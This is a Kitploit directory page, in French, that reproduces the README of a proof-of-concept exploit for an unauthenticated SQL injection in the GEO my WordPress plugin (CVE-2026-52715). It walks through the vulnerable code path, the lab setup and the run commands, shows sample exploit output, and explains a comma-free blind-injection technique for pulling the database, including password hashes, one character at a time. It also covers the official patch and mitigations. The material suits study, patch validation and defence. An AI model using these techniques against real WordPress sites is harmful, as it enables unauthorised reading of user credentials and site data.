Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-GeoLeak-CVE-2026-52715 — PoC fonctionnel de CVE-2026-52715 (GeoLeak): SQLi non authentifiée dans GEO my WordPress <= 4.5.5 via swlatlng/nelatlng. Laboratoire Docker + exploit time-based/boolean-based + exfiltration sans virgules dans le payload. | Kitploit
Outils/GitHubGitHub/686f6c61/poc-geoleak-cve-2026-52715
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHub686f6c61/poc-geoleak-cve-2026-52715

POC-GeoLeak-CVE-2026-52715

PoC fonctionnel de CVE-2026-52715 (GeoLeak): SQLi non authentifiée dans GEO my WordPress <= 4.5.5 via swlatlng/nelatlng. Laboratoire Docker + exploit time-based/boolean-based + exfiltration sans virgules dans le payload.

Voir le dépôt
4il y a 28 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

GeoLeak — PoC de la CVE-2026-52715

Preuve de concept éducative de GeoLeak (CVE-2026-52715), injection SQL non authentifiée (CVSS 9.3) dans le plugin GEO my WordPress <= 4.5.5 pour WordPress. Les paramètres swlatlng et nelatlng des limites de la carte sont interpolés sans assainissement dans la clause WHERE. Laboratoire Docker autonome + exploit avec techniques time-based, boolean-based et exfiltration caractère par caractère.


Table des matières

  1. Résumé exécutif
  2. Avis légal
  3. Architecture de la chaîne
  4. Prérequis
  5. Structure du dépôt
  6. Guide rapide d'utilisation
  7. Vérification de l'exploitation
  8. Analyse technique
  9. Le correctif officiel (4.5.5.1)
  10. Atténuation
  11. Crédits
  12. Licence

Résumé exécutif

CVE-2026-52715 est une injection SQL (CWE-89) dans la fonction du plugin GEO my WordPress, qui affecte toutes les versions et est corrigée depuis la (15 juin 2026). Elle a été découverte par le chercheur et publiée via Patchstack.

gmw_get_locations_within_boundaries_sql()
<= 4.5.5
4.5.5.1
alvarodh5

La chaîne baptisée GeoLeak démontre comment, en partant uniquement d'un accès en lecture à n'importe quelle page publique contenant le shortcode [gmw], un attaquant peut :

  1. Injecter du SQL arbitraire via le paramètre swlatlng (ou nelatlng) de la chaîne de requête, sans cookies, sans nonce et sans authentification.
  2. Provoquer des délais mesurables avec SLEEP() (time-based blind) évalué pour chaque ligne de l'INNER JOIN avec wp_gmw_locations.
  3. Utiliser l'oracle "total_results":N que le plugin lui-même intègre dans le JSON de configuration de la carte pour déduire des conditions booléennes (boolean-based blind).
  4. Exfiltrer la base de données complète caractère par caractère en contournant la restriction selon laquelle le payload ne peut pas contenir de virgules (PHP découpe la valeur avec explode(',', ...)), à l'aide de CASE WHEN et de SUBSTRING(x FROM n FOR 1).

Le résultat est une lecture arbitraire de la base de données WordPress : table wp_users (hashes de mots de passe), options de configuration, clés et données tierces stockées dans les plugins.

Dans la PoC, l'extraction complète de VERSION() de MariaDB est vérifiée uniquement avec des requêtes GET.


Avis légal

Ce dépôt contient du matériel strictement éducatif et défensif.

  • Objectif : démontrer la chaîne d'exploitation à des fins de formation, d'audit interne et de validation de correctifs.
  • Utilisation autorisée : exécutez-le uniquement contre des systèmes qui vous appartiennent ou pour lesquels vous disposez d'une autorisation écrite explicite. Le laboratoire Docker inclus est le seul environnement prévu.
  • Interdit : toute utilisation contre des systèmes tiers sans consentement. L'auteur du dépôt décline toute responsabilité en cas d'utilisation abusive du matériel inclus.
  • Responsabilité : l'opérateur est le seul responsable du respect de la législation applicable (LOPD/RGPD en Espagne, CFAA aux États-Unis, etc.).

Architecture de la chaîne

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│  1. Peticion publica sin autenticar                                 │
│     GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=…  │
│     pagina publica con shortcode [gmw form="1"]                     │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  2. GMW_Form::set_default_values()                                  │
│     action=fs => formulario marcado como enviado                    │
│     get_form_values() toma $_SERVER['QUERY_STRING']                 │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  3. gmw_get_form_values() (gmw-functions.php:512)                   │
│     parse_str($query_string, $output)  sin lista de permitidos      │
│     $output['swlatlng'] llega intacto                               │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  4. parse_query_args() (class-gmw-form-core.php:794)                │
│     gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669)   │
│     $sw = explode(',', $southwest);                                 │
│     "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )"  │
│     interpolacion directa: sin prepare, sin validacion              │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  6. WP_Query -> $wpdb->get_results()                                │
│     SQL: ... AND ( gmw_locations.latitude BETWEEN                   │
│            1 AND SLEEP(5) AND 40.416775 AND 41 ) ...                │
│     respuesta retardada 5s / total_results = oraculo                │
└─────────────────────────────────────────────────────────────────────┘

Prérequis

  • Docker et Docker Compose (testé avec Docker 29.4.1 / Compose v5.2.0)
  • curl et awk pour l'exploit
  • Port 3080 libre (ou modifiez le mappage dans docker-compose.yml)

Structure du dépôt

root@kitploit:~
POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml          WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│   ├── Dockerfile              Imagen WP + WP-CLI + entrypoint del laboratorio
│   ├── lab-entrypoint.sh       Arranque + siembra automatica en el primer boot
│   ├── seed.sh                 Instalacion WP, formulario, post geolocalizado
│   └── geo-my-wp/              Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│   └── poc.sh                  Exploit: time-based + boolean-based + exfiltracion
├── docs/
│   ├── analisis-tecnico.md     Cadena completa request -> SQL, con codigo
│   └── diff-parche-4.5.5.1-gmw-functions.php.diff   Parche oficial real
├── LICENSE
└── README.md

Guide rapide d'utilisation

root@kitploit:~
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build

# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo

# 3. Ejecutar la PoC
./poc/poc.sh

# 4. Destruir el laboratorio
docker compose down -v

Paramètres configurables de l'exploit :

root@kitploit:~
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh

Accès à WordPress : http://localhost:3080 avec admin/admin. La page contenant le formulaire vulnérable est http://localhost:3080/?page_id=5.

Remarque : la ligne seed dans wp_gmw_locations est indispensable. La requête utilise un INNER JOIN contre cette table : sans lignes, le WHERE injecté n'est pas évalué et SLEEP() ne dort pas.


Vérification de l'exploitation

Sortie réelle de la dernière exécution contre le laboratoire (14 août 2026) :

root@kitploit:~
$ ./poc/poc.sh
===================================================
 CVE-2026-52715 | GEO my WordPress <= 4.5.5
 SQLi no autenticada via swlatlng/nelatlng
 Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
    Peticion benigna : 0.037000s
    Payload SLEEP    : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
    Condicion TRUE  -> total_results=1
    Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado

Vérification croisée directement contre la base de données :

root@kitploit:~
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
    -N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404

Contre la version corrigée (>= 4.5.5.1), la phase time-based répond en millisecondes et la PoC se termine avec [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1).


Analyse technique

Détail complet, avec les extraits de code et les lignes exactes, dans docs/analisis-tecnico.md. Points clés :

  • Sink : gmw_get_locations_within_boundaries_sql() interpole {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} directement dans le WHERE (les quatre points sont injectables).
  • Source : gmw_get_form_values() traite la chaîne de requête complète avec parse_str() sans liste autorisée.
  • Restriction de l'exploit : le payload ne peut pas contenir de virgules car PHP effectue explode(',', $southwest). La PoC utilise CASE WHEN a THEN b ELSE c END au lieu de IF(a,b,c) et SUBSTRING(x FROM n FOR 1) au lieu de SUBSTRING(x,n,1).
  • Oracle booléen : le JSON embarqué de la carte expose "total_results":N ; l'exploit calibre la plage de longueur (-10..1) pour que la ligne seed survive lorsque la condition est vraie.
  • Techniques : time-based et boolean-based vérifiées ; UNION-based théorique (il faut aligner les colonnes de wp_posts.* plus les champs gmw) ; error-based non pratique (wpdb masque les erreurs).
  • Endpoints AJAX écartés : les trois handlers wp_ajax_nopriv_* du plugin soit n'exécutent pas de SQL (version gratuite), soit sont protégés par nonce. Le vecteur de la CVE dans la version gratuite est le GET du formulaire.

Le correctif officiel (4.5.5.1)

Diff réel complet dans docs/diff-parche-4.5.5.1-gmw-functions.php.diff. Entre 4.5.5 et 4.5.5.1, seuls trois fichiers diffèrent (geo-my-wp.php de version, readme.txt de changelog et includes/gmw-functions.php) :

  1. Nouvelle fonction de validation gmw_parse_latlng_boundary() : exige exactement 2 parties numériques finies avec |lat| <= 90 et |lng| <= 180.
  2. gmw_get_form_values() écarte avec unset() les valeurs qui ne valident pas.
  3. Le sink est réécrit avec $wpdb->prepare() et des marqueurs %f.

Version actuelle du plugin : 4.5.5.3 (juillet 2026), corrigée.


Atténuation

  1. Mettre à jour GEO my WordPress >= 4.5.5.1 (mesure principale).
  2. Si une mise à jour immédiate n'est pas possible : règle WAF bloquant les valeurs non numériques dans swlatlng/nelatlng, ou virtual patching (Patchstack et similaires).
  3. Vérifier si les formulaires [gmw] publics ont besoin de la recherche par limites de carte.
  4. Surveiller les accès avec des motifs swlatlng/nelatlng anormaux dans les journaux.
  5. Si le site a été exposé : rotation des secrets et réexamen des hashes de wp_users, l'injection permettant de les lire.

Crédits

  • Découverte : le chercheur alvarodh5 (signalé le 10 avril 2026, publié le 15 juin 2026 via Patchstack).
  • Fiche de Patchstack
  • Fiche NVD CVE-2026-52715
  • GEO my WordPress sur wordpress.org

Licence

MIT

Télécharger l’outil